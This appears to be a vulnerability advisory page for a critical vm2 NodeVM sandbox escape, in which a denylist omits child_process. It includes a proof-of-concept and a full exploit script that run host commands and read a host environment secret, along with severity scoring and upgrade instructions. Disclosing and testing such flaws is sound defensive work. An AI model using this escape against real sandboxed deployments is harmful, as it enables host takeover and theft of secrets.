GHSA-pq68-rvw4-xp4r CVE-2026-93605
vm2 contains a sandbox escape vulnerability
- Severity
- 10.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.41% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-693 Protection Mechanism Failure
- CWE-913 Improper Control of Dynamically-Managed Code Resources
- Fix
3.12.1- Upgrade vm2 to this version or later
Description
vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.
This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.
Details
lib/builtin.js:
DANGEROUS_BUILTINS(lines 83‑179) — the Set of denied builtins.child_processdoes not appear anywhere in it.isDangerousBuiltin(key)(lines 185‑195) — stripsnode:prefixes and applies family‑prefix matching againstDANGEROUS_BUILTINS. Returnsfalseforchild_process.BUILTIN_MODULES(lines 209‑210) — the source list that the'*'wildcard expands to — isbuiltinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). BecauseisDangerousBuiltin('child_process')isfalse,child_processremains in'*'.addDefaultBuiltin(the explicit‑name path) likewise rejects onlyisDangerousBuiltinnames, sobuiltin:['child_process']is admitted as well.
The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.
PoC
const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution
Verified results:
| config | require('child_process') |
|---|---|
{ builtin: ['*'] } |
RCE — host id + host env read |
{ builtin: ['*', '-fs'] } (documented subtract pattern) |
RCE — subtracting other modules does not remove it |
{ builtin: ['child_process'] } |
RCE — explicit name admitted despite the "never, even if named" invariant |
{ builtin: ['fs'] } (control) |
denied — Cannot find module 'child_process' |
Impact
Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').
builtin-child_process-denylist-gap-rce.js
'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}
function tryConfig(label, opts) {
try {
const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
try {
const cp = require('child_process');
return {
reached: true,
id: cp.execSync('id').toString().trim(),
hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
};
} catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
})()`, 'plugin.js');
console.log(label, '=>', JSON.stringify(r));
return r;
} catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}
console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
&& b && b.reached
&& c && c.reached === false;
console.log(ok
? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
: "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.12.1 |
3.12.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.12.1
- npm
npm install vm2@3.12.1- yarn
yarn add vm2@3.12.1- pnpm
pnpm add vm2@3.12.1
Severity breakdown
CVSS 4.0 10.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
CWE-913: Improper Control of Dynamically-Managed Code Resources
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
How to prevent it
- Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
- Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
| GHSA-88hf-g992-jg85 vm2: Sandbox Escape (NodeVM) | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor